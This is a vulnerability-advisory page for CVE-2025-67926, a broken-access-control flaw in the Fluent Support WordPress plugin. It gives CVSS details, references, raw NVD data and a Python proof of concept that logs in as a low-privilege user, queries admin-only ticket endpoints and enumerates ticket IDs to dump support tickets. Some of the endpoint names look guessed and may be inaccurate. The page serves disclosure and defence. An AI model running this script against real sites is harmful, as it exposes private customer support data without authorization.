CVE-2025-67926

Description

Missing Authorization vulnerability in Shahjahan Jewel Fluent Support fluent-support allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fluent Support: from n/a through <= 1.10.4.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Fluent Support插件 <= 1.10.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-67926 PoC - Fluent Support Broken Access Control
# Target: WordPress site with Fluent Support plugin <= 1.10.4

target_url = "http://target-wordpress-site.com"

# Step 1: Authenticate with low privilege account (subscriber role)
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": "low_privilege_user",
    "pwd": "user_password",
    "wp-submit": "Log In"
}

# Note: Replace with actual credentials
# session.post(login_url, data=login_data)

# Step 2: Try to access admin-only Fluent Support API endpoints
# These endpoints should require higher privileges but bypass checks

api_endpoints = [
    f"{target_url}/wp-json/fluent-support/v1/tickets",
    f"{target_url}/wp-json/fluent-support/v1/conversations",
    f"{target_url}/wp-admin/admin-ajax.php?action=fs_get_all_tickets"
]

for endpoint in api_endpoints:
    try:
        response = session.get(endpoint)
        if response.status_code == 200:
            data = response.json()
            print(f"[!] VULNERABLE: {endpoint}")
            print(f"[+] Response: {json.dumps(data, indent=2)}")
        else:
            print(f"[*] Protected: {endpoint} - Status: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

# Step 3: Try to access specific ticket by ID (IDOR + Access Control)
ticket_ids = range(1, 100)
for ticket_id in ticket_ids:
    url = f"{target_url}/wp-json/fluent-support/v1/tickets/{ticket_id}"
    response = session.get(url)
    if response.status_code == 200:
        print(f"[!] Exposed Ticket #{ticket_id}: {response.text}")

print("[*] Scan complete. If vulnerable endpoints found, access control is broken.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67926
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67926
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67926/
[4] VulDB https://vuldb.com/cve/CVE-2025-67926
[5] https://patchstack.com/database/Wordpress/Plugin/fluent-support/vulnerability/wordpress-fluent-support-plugin-1-10-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67926", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:51.620", "lastModified": "2026-04-27T18:16:49.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Shahjahan Jewel Fluent Support fluent-support allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fluent Support: from n/a through <= 1.10.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fluent-support/vulnerability/wordpress-fluent-support-plugin-1-10-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}